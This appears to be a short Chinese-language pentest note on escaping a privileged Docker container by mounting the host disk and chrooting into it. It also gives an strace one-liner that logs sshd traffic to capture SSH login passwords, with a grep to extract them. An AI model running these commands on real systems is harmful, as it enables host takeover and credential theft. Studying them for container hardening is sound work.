跳转至

docker 特权模式逃逸测试

配置特权模式时的逃逸情况

--privileged(特权模式)

Privileged

允许容器内部拥有外部物理机 root 权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged 时,Docker容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

  1. 以特权模式运行一个容器:

docker run -it --name=test1 --privileged ubuntu:22.04 --rm /bin/bash

  1. 查看磁盘文件

fdisk -l

  1. 挂载 rootfs

mkdir /test && mount /dev/dm-0 /test && chroot /test

image-20230525170327015

--cap-add=SYS_ADMIN

利用strace命令抓取linux登录密码

strace是一个可用于诊断、调试和教学的Linux用户空间跟踪器。我们用它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。在后面抓取用户密码的时候,我们会使用这个软件来监控用户的ssh登录操作。

在获取到目标ROOT权限后,可以直接在终端执行如下命令,该命令会监听sshd进程,并将登录过程及信息记录到/tmp/sshd.log文件中。

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/sshd.log &)

模拟管理员ssh登录。输入正确的密码

ssh root@192.168.1.1

最后筛选登录密码

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/sshd.log

参考: https://www.freebuf.com/articles/network/363137.html https://www.cnblogs.com/yokan/p/16300797.html